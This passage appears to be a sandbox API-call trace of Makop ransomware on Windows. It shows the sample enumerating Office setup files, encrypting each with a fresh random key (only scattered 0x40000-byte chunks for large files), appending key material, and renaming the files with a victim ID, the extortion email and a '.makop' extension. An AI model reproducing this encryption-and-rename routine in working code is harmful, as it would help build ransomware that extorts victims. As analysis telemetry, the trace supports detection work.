dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0092.719] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.720] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0092.720] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0092.720] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0092.720] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0092.720] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0092.720] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0092.721] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.721] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.721] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.721] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7c4, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x7c4, lpOverlapped=0x0) returned 1 [0092.721] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x7d0, dwBufLen=0x7d0 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x7d0) returned 1 [0092.721] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.721] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x7d0, lpOverlapped=0x0) returned 1 [0092.721] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.721] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.722] SetEndOfFile (hFile=0x114) returned 1 [0092.728] GetProcessHeap () returned 0x48a0000 [0092.728] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0092.728] GetProcessHeap () returned 0x48a0000 [0092.728] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0092.728] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 150 [0092.728] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0092.751] CloseHandle (hObject=0x114) returned 1 [0092.751] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0092.751] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0092.751] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0092.751] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0092.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0092.753] GetFileSizeEx (in: hFile=0x138, lpFileSize=0x6576038 | out: lpFileSize=0x6576038*=7379816) returned 1 [0092.753] GetProcessHeap () returned 0x48a0000 [0092.753] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0092.753] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0092.753] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.754] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576024*=0x8, lpOverlapped=0x0) returned 1 [0092.760] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6576028 | out: phKey=0x6576028*=0x48c7168) returned 1 [0092.760] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.760] GetProcessHeap () returned 0x48a0000 [0092.760] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0092.760] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576008*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576008*=0x30) returned 1 [0092.760] CryptDestroyKey (hKey=0x48c7168) returned 1 [0092.760] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576024*=0x30, lpOverlapped=0x0) returned 1 [0092.760] WriteFile (in: hFile=0x138, lpBuffer=0x657602c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x657602c*, lpNumberOfBytesWritten=0x6576024*=0x4, lpOverlapped=0x0) returned 1 [0092.761] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576024*=0x10, lpOverlapped=0x0) returned 1 [0092.761] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576024*=0x80, lpOverlapped=0x0) returned 1 [0092.761] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0092.761] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576024*=0x8, lpOverlapped=0x0) returned 1 [0092.761] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6576028 | out: phKey=0x6576028*=0x48c7168) returned 1 [0092.761] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.761] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6575ff8 | out: lpNewFilePointer=0x0) returned 1 [0092.762] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6575fec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6575fec*=0x40000, lpOverlapped=0x0) returned 1 [0092.774] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000) returned 1 [0092.776] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.777] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6575ff0*=0x40000, lpOverlapped=0x0) returned 1 [0092.779] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x709c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.779] WriteFile (in: hFile=0x138, lpBuffer=0x6575ff8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6575ff8*, lpNumberOfBytesWritten=0x6575ff0*=0x8, lpOverlapped=0x0) returned 1 [0092.779] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x258922, lpNewFilePointer=0x0, dwMoveMethod=0x6575ff8 | out: lpNewFilePointer=0x0) returned 1 [0092.779] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6575fec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6575fec*=0x40000, lpOverlapped=0x0) returned 1 [0092.789] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000) returned 1 [0092.792] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x258922, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.792] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6575ff0*=0x40000, lpOverlapped=0x0) returned 1 [0092.794] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x709c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.794] WriteFile (in: hFile=0x138, lpBuffer=0x6575ff8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6575ff8*, lpNumberOfBytesWritten=0x6575ff0*=0x8, lpOverlapped=0x0) returned 1 [0092.794] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x6c9b70, lpNewFilePointer=0x0, dwMoveMethod=0x6575ff8 | out: lpNewFilePointer=0x0) returned 1 [0092.794] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6575fec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6575fec*=0x40000, lpOverlapped=0x0) returned 1 [0092.801] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000) returned 1 [0092.804] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x6c9b70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.804] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6575ff0*=0x40000, lpOverlapped=0x0) returned 1 [0092.806] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x709c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.806] WriteFile (in: hFile=0x138, lpBuffer=0x6575ff8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6575ff8*, lpNumberOfBytesWritten=0x6575ff0*=0x8, lpOverlapped=0x0) returned 1 [0092.807] CryptDestroyKey (hKey=0x48c7168) returned 1 [0092.807] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x709c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.807] SetEndOfFile (hFile=0x138) returned 1 [0092.814] GetProcessHeap () returned 0x48a0000 [0092.814] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0092.814] GetProcessHeap () returned 0x48a0000 [0092.814] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0092.814] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 137 [0092.814] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0092.815] CloseHandle (hObject=0x138) returned 1 [0092.815] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0092.815] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned 92 [0092.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0092.816] GetProcessHeap () returned 0x48a0000 [0092.816] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0092.816] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0092.816] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0092.816] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0092.817] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.817] GetProcessHeap () returned 0x48a0000 [0092.818] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0092.818] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0092.818] CryptDestroyKey (hKey=0x48c7168) returned 1 [0092.818] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0092.824] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0092.825] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0092.825] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0092.825] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0092.825] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0092.825] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0092.825] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.825] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.826] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb9a0, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xb9a0, lpOverlapped=0x0) returned 1 [0092.828] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xb9a0, dwBufLen=0xb9a0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xb9a0) returned 1 [0092.828] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.828] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb9a0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xb9a0, lpOverlapped=0x0) returned 1 [0092.829] CryptDestroyKey (hKey=0x48c7168) returned 1 [0092.829] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xba74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.829] SetEndOfFile (hFile=0x138) returned 1 [0092.835] GetProcessHeap () returned 0x48a0000 [0092.836] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0092.836] GetProcessHeap () returned 0x48a0000 [0092.836] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0092.836] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 139 [0092.836] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0092.837] CloseHandle (hObject=0x138) returned 1 [0092.837] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="OUTLOO~1.EN-")) returned 1 [0092.837] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us") returned 93 [0092.837] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*") returned 97 [0092.837] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0092.839] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.839] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0092.839] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0092.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0092.840] GetProcessHeap () returned 0x48a0000 [0092.840] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0092.840] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0092.840] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0092.840] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xe, lpOverlapped=0x0) returned 1 [0092.844] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.844] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.844] GetProcessHeap () returned 0x48a0000 [0092.845] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0092.845] 